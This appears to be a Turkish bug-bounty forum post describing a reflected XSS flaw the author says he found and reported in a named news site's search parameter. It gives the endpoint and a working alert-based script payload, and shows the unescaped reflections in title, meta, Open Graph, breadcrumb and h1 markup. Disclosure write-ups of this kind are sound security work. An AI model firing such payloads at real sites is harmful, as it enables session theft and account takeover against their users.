Neler yeni
Bughane Academy

Bughane Academy, bug bounty, web güvenliği ve sızma testi alanında kendini geliştirmek isteyenler için kurulmuş Türkçe odaklı bir topluluktur.

Burada; gerçek güvenlik açıkları, recon ve exploit teknikleri, payload & bypass yöntemleri, araçlar, scriptler ve write-up’lar topluluk tarafından paylaşılır ve tartışılır.

Birlikte öğren, birlikte üret, birlikte güçlen.

XSS vakaları Haber365

1atakan1

https://www.linkedin.com/in/atakan-ozbudak/
Avcı
Katılım
2 Ocak 2026
Mesajlar
59
Tepkime puanı
240
Puan
33
Screenshot_2.jpg Ekli dosyayı görüntüle bandicam 2026-04-03 17-44-51-714.mp4





Merhaba Bughanê Üyeleri!
Bugün haber365.com domaininde tespit ettiğim ve raporladığım Reflected XSS zafiyetini detaylı teknik analiz ile paylaşıyorum.

ZAFİYET DETAYLARI​

  • Hedef: https://www.haber365.com
  • Parametre: q
  • Endpoint: /arama?q=
  • Tür: Reflected Cross-Site Scripting (XSS)
  • Payload: test"%3E%3Cscript%3Ealert(prompt('ATAKAN'))%3C/script%3E
  • Etkisi: Session Hijacking, Keylogger, Phishing, Account Takeover


ÇALIŞMA MANTIĞI​

Haber365’in arama fonksiyonu, kullanıcıdan alınan q parametresindeki girdiyi, sunucu tarafında herhangi bir filtreleme veya kaçış (escaping) işlemi uygulamadan doğrudan HTML sayfasının title, meta description, og:title, breadcrumb ve h1 etiketi gibi birden fazla kritik alanına yansıtmaktadır.Bu durum, saldırganın HTML context'inden çıkarak kendi JavaScript kodunu çalıştırmasına olanak tanır.




TEKNİK ANALİZ (KOD İNCELEMESİ)​

Zafiyet, arama sorgusunun yansıtıldığı aşağıdaki HTML elementlerinde açıkça görülmektedir.
1. Title Etiketi:
HTML:
<title>Test"><script>alert(prompt('ATAKAN'))</script>, Arama Sonuçları - Haber365</title>

2. Meta Description:
HTML:
<meta name="description" content="Test"><script>alert(prompt('ATAKAN'))</script> Haberleri, Videoları, Fotoğraflarına...">

3. OG (Open Graph) ve Twitter Meta Etiketleri:
HTML:
<meta property="og:title" content="Test"><script>alert(prompt('ATAKAN'))</script>, Arama Sonuçları">
<meta property="twitter:title" content="Test"><script>alert(prompt('ATAKAN'))</script>, Arama Sonuçları">

4. Breadcrumb:
HTML:
<script type="application/ld+json">{
    "@context":"https://schema.org",
    "@type":"BreadcrumbList",
    "itemListElement":[
        // ...
        {
            "@type":"ListItem",
            "position":2,
            "name":"Test&quot;&gt;&lt;script&gt;alert(prompt(&#039;ATAKAN&#039;))&lt;/script&gt;",
            "item":"https://www.haber365.com/arama?q=Test&quot;&gt;&lt;script&gt;alert(prompt(&#039;ATAKAN&#039;))&lt;/script&gt;"
        }
    ]};
</script>

5. Sayfa Başlığı (H1):
HTML:
<h1 style="font-weight: 800; font-size:20px; margin-left:5px;">Test"><script>alert(prompt('ATAKAN'))</script></h1>
 
Son düzenleme:
Geri
Üst